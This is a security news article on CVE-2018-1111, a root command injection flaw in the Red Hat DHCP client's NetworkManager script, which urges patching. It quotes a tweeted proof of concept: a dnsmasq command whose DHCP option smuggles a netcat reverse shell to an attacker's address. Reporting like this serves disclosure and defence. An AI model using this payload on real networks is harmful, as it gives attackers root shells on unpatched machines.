A critical vulnerability in the DHCP client in Red Hat Enterprise Linux could allow an attacker to execute arbitrary commands on impacted systems.
Tracked as CVE-2018-1111, the security flaw was reported by Felix Wilhelm from Google’s Security Team. The bug was discovered in the NetworkManager integration script included in the DHCP client packages.
The vulnerability features a CVSS3 Base Score of 7.5 and can be exploited without special privileges. However, an attacker targeting the bug could execute arbitrary commands with root privileges on vulnerable Red Hat systems.
Through the DHCP protocol, a central server can be used to configure network related information in hosts. When connecting to a network, a host could issue DHCP requests to fetch network configuration parameters such as IP address, default router IP, DNS servers, and the like.
The DHCP client package in Red Hat includes a script for the NetworkManager component. The script is executed each time NetworkManager receives a DHCP response from a DHCP server. Thus, a malicious DHCP response could be used to cause the script to execute arbitrary shell commands.
“A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol,” Red Hat explains.
CVE 2018-1111 is a pretty bad DHCP remote root command injection affecting Red Hat derivates: https://t.co/jFiOrUH6HG. Exploit fits in a tweet so you should patch as soon as possible.
— Felix Wilhelm (@_fel1x) May 15, 2018
Barkın Kılıç has published proof-of-concept code, in a tweet:
#CVE-2018-1111 tweetable PoC 🙂 dnsmasq –interface=eth0 –bind-interfaces –except-interface=lo –dhcp-range=10.1.1.1,10.1.1.10,1h –conf-file=/dev/null –dhcp-option=6,10.1.1.1 –dhcp-option=3,10.1.1.1 –dhcp-option=”252,x’&nc -e /bin/bash 10.1.1.1 1337 #” cc: @cnbrkbolat pic.twitter.com/vUICm2HluC
— Barkın Kılıç (@Barknkilic) May 15, 2018
Impacted Red Hat product versions include Red Hat Enterprise Linux Server 6 and 7. Updates are already available for impacted products and can be downloaded from Red Hat’s website.